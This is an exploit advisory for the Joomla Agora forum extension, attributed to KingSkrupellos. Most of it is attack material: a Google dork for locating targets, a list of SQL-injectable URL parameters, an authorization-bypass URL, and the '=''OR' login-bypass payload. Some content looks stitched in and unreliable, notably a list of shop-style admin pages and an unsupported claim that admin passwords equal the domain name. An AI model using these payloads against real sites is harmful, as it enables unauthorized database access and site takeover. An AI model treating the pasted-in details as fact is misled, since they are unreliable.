Joomla Agora 4.10 Bypass / SQL Injection

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# Exploit Title : Joomla Agora 4.10 SQL Injection / Authentication Bypass  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 12/02/2019  
# Vendor Homepage : joomla4ever.org  
# Software Download Link : joomla4ever.org/archive/ext/com_agora.zip  
# Software Information Link : joomla4ever.org/extensions/ext-agora  
joomlashack.com/blog/joomla/agora/  
# Software Version : 3.0 and 4.10 - other previous versions.  
Compatible with Joomla 1.5 - 2.5 and 3.x  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/index.php?option=com_agora''  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
CWE-287 [ Improper Authentication ]  
CWE-592 [ Authentication Bypass Issues ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Description about Software :  
***************************  
  
Agora is forum extension for Joomla compatible with 1.5 - 2.5 and 3.x version.  
  
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# Impact :  
***********  
Joomla Agora 4.10 and other versions -   
  
component for Joomla is prone to an SQL-injection vulnerability because it   
  
fails to sufficiently sanitize user-supplied data before using it in an SQL query.   
  
Exploiting this issue could allow an attacker to compromise the application,   
  
access or modify data, or exploit latent vulnerabilities in the underlying database.  
  
A remote attacker can send a specially crafted request to the vulnerable application   
  
and execute arbitrary SQL commands in application`s database.  
  
Further exploitation of this vulnerability may result in unauthorized data manipulation.  
  
An attacker can exploit this issue using a browser.  
  
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# SQL Injection Exploit :  
**********************  
/index.php?option=com_agora&task=[SQL Injection]  
  
/index.php?option=com_agora&task=profile&user_id=[SQL Injection]  
  
/index.php?option=com_agora&id=[ID-NUMBER]&Itemid=[SQL Injection]  
  
/index.php?option=com_agora&task=topic&id=[ID-NUMBER]&p=[SQL Injection]  
  
/index.php?option=com_agora&task=profile&page=[SQL Injection]  
  
/index.php?option=com_agora&task=profile&page=preview&action=[SQL Injection]  
  
/index.php/templates/index.php?option=com_agora&id=[ID-NUMBER]&Itemid=[SQL Injection]  
  
/index.php?option=com_agora&task=profile&page=preview&action=add_warning&type=[SQL Injection]  
  
/index.php?option=com_agora&task=profile&page=preview&action=add_warning&type=clean&user_id=[SQL Injection]&lang=en  
  
/component/agora/?task=viewforum&id=[SQL Injection]  
  
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# Authentication Bypass/Incorrect Authorization Exploit :  
*************************************  
/index.php?option=com_agora&task=profile&page=preview&action=add_warning&type=clean&user_id=1&lang=en  
  
Proof of Concept => cdn.pbrd.co/images/I0GjhUq.png  
  
# Admin Panel Login Path :  
  
/administrator  
[PATH]/admin  
  
Note : Admin Password is the domain address name.  
  
'=''OR'  
'=''OR'  
  
/admin/index.php?option=com_agora&task=upload  
/admin/mystore.php  
/admin/editproducts.php  
/admin/editcat.php  
/admin/orders.php  
/admin/members.php  
/admin/editmanu.php  
/admin/editpayment.php  
/admin/addtaxrules.php  
/admin/editshipping.php  
/admin/newsletter.php  
/admin/editpromos.php  
/admin/import_export.php  
/admin/editlangfile.php  
/admin/custom_config.php  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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